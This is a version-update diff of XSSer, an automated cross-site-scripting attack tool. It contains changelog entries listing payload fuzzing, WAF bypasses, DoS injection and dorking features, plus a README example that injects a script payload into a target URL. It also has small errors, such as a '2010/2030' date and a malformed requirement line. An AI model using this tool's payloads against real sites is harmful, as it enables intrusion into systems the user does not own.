 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -31,8 +31,8 @@ class Updater(object):
         GIT_REPOSITORY = "https://code.03c8.net/epsylon/xsser"
         GIT_REPOSITORY2 = "https://github.com/epsylon/xsser"
         rootDir = os.path.abspath(os.path.join(os.path.dirname( __file__ ), '..', ''))
-        if not os.path.exists(os.path.join(rootDir, ".git")):
-            print("[Error] Not any .git repository found!\n")
+        if not os.path.exists(".git"):
+            print("Not any .git repository found!\n")
             print("="*30)
             print("\nTo have working this feature, you should clone XSSer with:\n")
             print("$ git clone %s" % GIT_REPOSITORY)
@@ -40,8 +40,8 @@ class Updater(object):
             print("$ git clone %s" % GIT_REPOSITORY2 + "\n")
         else:
             checkout = execute("git checkout . && git pull", shell=True, stdout=PIPE, stderr=PIPE).communicate()[0]
-            print(checkout)
-            if not "Already up-to-date" in checkout:
-                print("Congratulations!! XSSer has been updated... ;-)\n")
+            print("[Info] [GitHub] Reply:\n\n"+checkout.decode('utf-8'))
+            if not b"Already up-to-date" in checkout:
+                print("[Info] [AI] Congratulations!! XSSer has been updated... ;-)\n")
             else:
-                print("Your XSSer doesn't need to be updated... ;-)\n")
+                print("[Info] [AI] Your XSSer doesn't need to be updated... ;-)\n")

+ 2 - 0
doc/AUTHOR

@@ -19,10 +19,12 @@
 
  - AnonTwi: Tool for OAuth2 applications (such as: GNUSocial, Twitter) that provides different layers of privacy/encryption.
  - Bordercheck: Tool to visualize 'real-time' on a world map the geolocation of data when surfing the web.
+ - BrAInStocker: Tool for predicting random numbers.
  - CIntruder: Tool to bypass captchas using OCR (Optical Character Recognition) bruteforcing methods.
  - Collatz: Tool to simulate the Collatz's conjeture.
  - DieKunstDerFuge: Video on different topics related to hacktivism recorded during 2013 from an intimate narrative perspective.
  - ECOin: Decentralized key/value registration and transfer system based on Bitcoin technology (a cryptocurrency).
+ - Euler-Bricks: Tool to search for Euler's "bricks".
  - Goldbach: Tool to simulate the Goldbach's conjeture.
  - Lorea: Social networking autonomous project to build a distributed, encrypted and federated network.
  - Orb: Tool for massive footprinting.

+ 107 - 91
doc/CHANGELOG

@@ -1,7 +1,21 @@
 ================================================================
-Changelog: XSSer v1.8.2 (https://xsser.03c8.net)
+Changelog: XSSer v1.8.3 (https://xsser.03c8.net)
 ==============================
 
+=================
+March 3, 2020:
+=================
+
+- Modified/Updated: anti false positives checkers
+- Added: internal 'headless' browser: gecko/firefox engine
+- Modified/Updated: --reverse-check (GET/POST) (local/remote)
+- Removed: --reverse-open
+- Modified/Updated: DOM attack (added vectors: 13)
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
+- Updated: Website
+
 =================
 November 16, 2019:
 =================
@@ -9,10 +23,10 @@ November 16, 2019:
 - Ported to: Python3.x
 - Bugfixing
 - Added: Anti-antiXSS Firewall rules (Bypassers provided: SucuriWAF)
-- Modified/Updated GTK+
-- Added Requirements
-- Updated Documentation
-- Updated Website
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
+- Updated: Website
 
 =================
 September 20, 2019:
@@ -38,105 +52,105 @@ September 20, 2019:
 April 12, 2018:
 =================
 
-- Removed deprecated features (search engines, SSLv3...)
-- Fixed auto-update option
+- Removed: deprecated features (search engines, SSLv3...)
+- Fixed: auto-update option
 
 =================
 February 24, 2016:
 =================
 
-- Removed deprecated features
-- Updated Automatic XSS vectors list (Total: 578 = XSS: 558 + DCP: 4 + DOM: 5 + HTTPsr: 11)
-- Added XST (Cross Site Tracing)
-- Advanced XSA (Cross Site Agent), XSR (Cross Site Referer) and Cookie Injection
-- Updated/Fixed Dorkering system (Search engines supported: duck, bing, google, yahoo, yandex)
-- Added Dorking from file (30 potential 'XSS dorks' provided)
-- Added Mass-Dorking (search with all search engines provided)
-- Added Discarding response method to evade false positives
-- Added Anti-antiXSS Firewall rules (Bypassers provided for: PHPIDS, Imperva, WebKnight, F5BigIP, Barracuda, Apache-Modsec, QuickDefense)
-- Added 'Wizard Helper' to shell mode
-- Updated XSSer tool updater
-- Updated 'Mana' system
-- Fixed Crawlering system
-- Added feature: 'Automatically audit an entire target" 
-- Modified/Updated GTK+
-- Added Requirements
-- Updated Documentation
+- Removed: deprecated features
+- Updated: Automatic XSS vectors list (Total: 578 = XSS: 558 + DCP: 4 + DOM: 5 + HTTPsr: 11)
+- Added: XST (Cross Site Tracing)
+- Advanced: XSA (Cross Site Agent), XSR (Cross Site Referer) and Cookie Injection
+- Updated/Fixed: Dorkering system (Search engines supported: duck, bing, google, yahoo, yandex)
+- Added: Dorking from file (30 potential 'XSS dorks' provided)
+- Added: Mass-Dorking (search with all search engines provided)
+- Added: Discarding response method to evade false positives
+- Added: Anti-antiXSS Firewall rules (Bypassers provided for: PHPIDS, Imperva, WebKnight, F5BigIP, Barracuda, Apache-Modsec, QuickDefense)
+- Added: 'Wizard Helper' to shell mode
+- Updated: XSSer tool updater
+- Updated: 'Mana' system
+- Fixed: Crawlering system
+- Added: feature: 'Automatically audit an entire target" 
+- Modified/Updated: GTK+
+- Added: Requirements
+- Updated: Documentation
 
 =================
 November 28, 2011:
 =================
 
-- Added Drop Cookie option
-- Added Random IP X-Forwarded-For an X-Client-IP option
-- Added GSS and NTLM authentication methods
-- Added Ignore proxy option
-- Added TCP-NODELAY option
-- Added Follow redirects option
-- Added Follow redirects limiter parameter
-- Added Auto-HEAD precheck system
-- Added No-HEAD option
-- Added Isalive option
-- Added Check at url option (Blind XSS)
-- Added Reverse Check parameter
-- Added PHPIDS (v.0.6.5) exploit
-- Added More vectors to auto-payloading
-- Added HTML5 studied vectors
-- Fixed Different bugs on core
-- Fixed Curl handlerer options
-- Fixed Dorkerers system
-- Fixed Bugs on results propagation
-- Fixed POST requests
-- Added New features to GTK controller
-- Added Detailed views to GTK interface
+- Added: Drop Cookie option
+- Added: Random IP X-Forwarded-For an X-Client-IP option
+- Added: GSS and NTLM authentication methods
+- Added: Ignore proxy option
+- Added: TCP-NODELAY option
+- Added: Follow redirects option
+- Added: Follow redirects limiter parameter
+- Added: Auto-HEAD precheck system
+- Added: No-HEAD option
+- Added: Isalive option
+- Added: Check at url option (Blind XSS)
+- Added: Reverse Check parameter
+- Added: PHPIDS (v.0.6.5) exploit
+- Added: More vectors to auto-payloading
+- Added: HTML5 studied vectors
+- Fixed: Different bugs on core
+- Fixed: Curl handlerer options
+- Fixed: Dorkerers system
+- Fixed: Bugs on results propagation
+- Fixed: POST requests
+- Added: New features to GTK controller
+- Added: Detailed views to GTK interface
 
 =================
 February 21, 2011:
 =================
 
-- Added heuristic test
-- Updated dorkers list
-- HTTP Response Splitting Induced code 
-- GTK+ interface
-- Geomapping
-- Multithreading workers
-- Test controllers
-- Added websockets technology (orbited)
-- Added update option
-- DoS (server) side injection
-- DCP/DOM/Induced final code
-- Code clean
+- Added: heuristic test
+- Updated: dorkers list
+- Added: HTTP Response Splitting Induced
+- Added: GTK+ interface
+- Added: Geomapping
+- Added: Multithreading workers
+- Added: Test controllers
+- Added: websockets technology (orbited)
+- Added: update option
+- Added: DoS (server) side injection
+- Added: DCP/DOM/Induced final code
+- Updated: Code clean
 - Bugfixing
-- New options menu
-- More advanced statistics system
+- Added: New options menu
+- Advanced: statistics system
 
 =================
 November 7, 2010:
 =================
 
-- Added "final remote injections" option
-- Cross Flash Attack! 
-- Cross Frame Scripting
-- Data Control Protocol Injections  
-- Base64 (rfc2397) PoC
-- OnMouseMove PoC
-- Browser launcher
-- Code clean
+- Added: "final remote injections" option
+- Added: Cross Flash Attack! 
+- Added: Cross Frame Scripting
+- Added: Data Control Protocol Injections  
+- Added: Base64 (rfc2397) PoC
+- Added: OnMouseMove PoC
+- Added: Browser launcher
+- Updated: Code clean
 - Bugfixing
-- New options menu
-- Pre-check system
-- Crawler spidering clones
-- More advanced statistics system
-- "Mana" ouput results
+- Added: New options menu
+- Added: Pre-check system
+- Added: Crawler spidering clones
+- Added: More Advanced: statistics system
+- Added: "Mana" ouput results
 
 =================
 September 22, 2010:
 =================
 
-- Added a-xml exporter 
+- Added: a-xml exporter 
 - ImageXSS 
 - New dorker engines (total 10) 
-- Core clean 
+- Updated: Code clean
 - Bugfixing 
 - Social Networking auto-publisher
 - Started -federated- XSS (full disclosure) pentesting botnet
@@ -148,45 +162,47 @@ September 22, 2010:
 August 20, 2010:
 =================
 
-- Added attack payloads to fuzzer (26 new injections) 
-- POST 
-- Statistics 
-- URL Shorteners 
-- IP Octal 
-- Post-processing payloading 
-- DOM Shadows! 
-- Cookie injector 
-- Browser DoS (Denegation of Service)
+- Added: attack payloads to fuzzer (26 new injections) 
+- Added: POST 
+- Added: Statistics 
+- Added: URL Shorteners 
+- Added: IP Octal 
+- Added: Post-processing payloading 
+- Added: DOM Shadows! 
+- Added: Cookie injector 
+- Added: Browser DoS (Denegation of Service)
 
 =================
 July 1, 2010:
 =================
 
-- Dorking 
-- Crawling 
-- IP DWORD + Core clean
+- Added: Dorking 
+- Added: Crawling 
+- Added: IP DWORD
+- Updated: Code clean
 
 =================
 April 19, 2010:
 =================
 
-- HTTPS implemented + patched bugs
+- Bugfixing
+- Added: HTTPS
 
 =================
 March 22, 2010:
 =================
 
-- Added "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer
+- Added: "inject your own payload" option. Can be used with all character encoding -bypassers- of XSSer
 
 =================
 March 18, 2010:
 =================
 
-- Added attack payloads to fuzzer (62 different XSS injections)
+- Added: attack payloads to fuzzer (62 different XSS injections)
 
 =================
 March 16, 2010:
 =================
 
-- Added new payload encoders to bypass filters
+- Added: new payload encoders to bypass filters
 

+ 7 - 4
doc/INSTALL

@@ -8,13 +8,13 @@ Cross Site "Scripter" is an automatic -framework- to detect, exploit and report
 Current Version:
 ==============================
 
-XSSer v1.8[2]: "The Hiv3!" (2010/2019) // [https://xsser.03c8.net]
+XSSer v1.8[3]: "The Hiv€!" (2010/2030) // [https://xsser.03c8.net]
 
 ================================================================
 + INSTALL: AUTO
 ==================
 
-  sudo python setup.py install
+  sudo python setup.py install (or sudo python3 setup.py install)
 
 ================================================================
 + INSTALL: MANUAL
@@ -28,14 +28,16 @@ XSSer runs on many platforms. It requires Python (3.x) and the following librari
     - python3-geoip2 - Python geoip2 API for web services and databases - Python 3.x
     - python3-gi - Python 3 bindings for gobject-introspection libraries
     - python3-cairocffi - cffi-based cairo bindings for Python (Python3)
+    - python3-selenium - Python3 bindings for Selenium
+    - firefoxdriver - Firefox WebDriver support
 
 On Debian-based systems (ex: Ubuntu), run: 
 
-    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-cairocffi
+    sudo apt-get install python3-pycurl python3-bs4 python3-geoip python3-geoip2 python3-cairocffi python3-selenium firefoxdriver
 
 On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... also run:
 
-    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi
+    sudo pip3 install pycurl bs4 geoip2 gobject cairocffi selenium 
 
 ####  Source libs:
 
@@ -46,6 +48,7 @@ On other systems such as: Kali, Ubuntu, ArchLinux, ParrotSec, Fedora, etc... als
        * PyGeoIP2: https://pypi.org/project/geoip2/
        * PyGObject: https://pypi.org/project/gobject/
        * PyCairocffi: https://pypi.org/project/cairocffi/
+       * PySelenium: https://pypi.org/project/selenium/
 
 ================================================================
 

+ 2 - 3
doc/README

@@ -8,7 +8,7 @@ Cross Site "Scripter" is an automatic -framework- to detect, exploit and report
 Current Version:
 ==============================
 
-XSSer v1.8[2]: "The Hiv3!" (2010/2019) // [https://xsser.03c8.net]
+XSSer v1.8[3]: "The Hiv€!" (2010/2020) // [https://xsser.03c8.net]
 
 ================================================================
 Options and features:
@@ -98,7 +98,6 @@ Options:
     --checkmethod=ALTM  Check reply using: GET or POST (default: GET)
     --checkatdata=ALD   Check reply using: <alternative payload>
     --reverse-check     Establish a reverse connection from target to XSSer
-    --reverse-open      Open a web browser when a reverse check is established
 
   *Select Vector(s)*:
     These options can be used to specify injection(s) code. Important if
@@ -281,7 +280,7 @@ Commands and examples:
 
 * Simple injection from URL, using GET, injecting on Cookie, trying to use DOM shadow space (no server logging!) and if exists any vulnerability, exploiting your -own- final code:
 
-  xsser -u "https://target.com" -g "/news.asp?page=XSS" --Coo --Dom --Fp="<script>alert('XSSed');</script>"
+  xsser -u "https://target.com" -g "/news.asp?page=XSS" --Coo --Anchor --Fp="<script>alert('XSSed');</script>"
 
 ----------------------------------------
 

+ 1 - 0
doc/requirements.txt

@@ -3,3 +3,4 @@ pycurl==7.43.0.3
 geoip2==2.9.0
 gobject==0.1.0
 cffi>=1.1.0
+selenium=>3.141.0

+ 2 - 2
gtk/docs/about.txt

@@ -4,7 +4,7 @@
                                                                     `.`                   ..              
             Welcome to XSSer ....                       `-:`              .-`               
                                                                         `/-     -      +`                                        
-                                                                          o     +      /                                  v1.8[2] -> "The Hiv3!"
+                                                                          o     +      /                                  v1.8[3] -> "The Hiv€!"
                                                                           ./   -Ny    /.                                         
                                                              `::-`       :--yMN:--.      `.....                      
                                          `mMMMMMmdhysoooosMyoo+oyhdmNMMMMMMMs       
@@ -16,7 +16,7 @@
                                                                   .::`     h`  o-  o.    :+.                       
                        GPLv3                                .--.        :o      y       :/.          
                                                                ``            h      .s         -:.        
-                                                                              :/       o.          ``                2010/2019 - by psy
+                                                                              :/       o.          ``                2010/2020 - by psy
                                                                             .o         o                   
                                                                              o          ./                  
                                                                             +`           :.                 

+ 1 - 1
gtk/xsser.ui

@@ -14,7 +14,7 @@
     <property name="can_default">True</property>
     <property name="has_tooltip">True</property>
     <property name="border_width">1</property>
-    <property name="title" translatable="yes">XSSer v1.8[2]: "The Hiv3!" - (https://xsser.03c8.net)</property>
+    <property name="title" translatable="yes">XSSer v1.8.[3]: "The Hiv€!" - (https://xsser.03c8.net) - by psy</property>
     <property name="window_position">center-always</property>
     <property name="destroy_with_parent">True</property>
     <property name="icon">images/xssericon_24x24.png</property>

+ 3 - 4
setup.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -39,8 +39,8 @@ gtk_files = ['gtk/xsser.ui']
 gtk_app_files = ['gtk/xsser.desktop']
 setup(
     name = "xsser",
-    version = "1.8",
-    packages = ['core', 'core.fuzzing', 'core.post'],
+    version = "1.8.3",
+    packages = ['core', 'core.fuzzing', 'core.post', 'core.driver'],
     data_files = [('/usr/share/doc/xsser/', doc_files), 
                   ('/usr/share/xsser/gtk/images/', data_files),
                   ('/usr/share/xsser/gtk/docs/', gtk_doc_files),
@@ -49,4 +49,3 @@ setup(
     scripts = ['xsser'],
     test_suite = "tests"
 )
-

+ 1 - 1
xsser

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free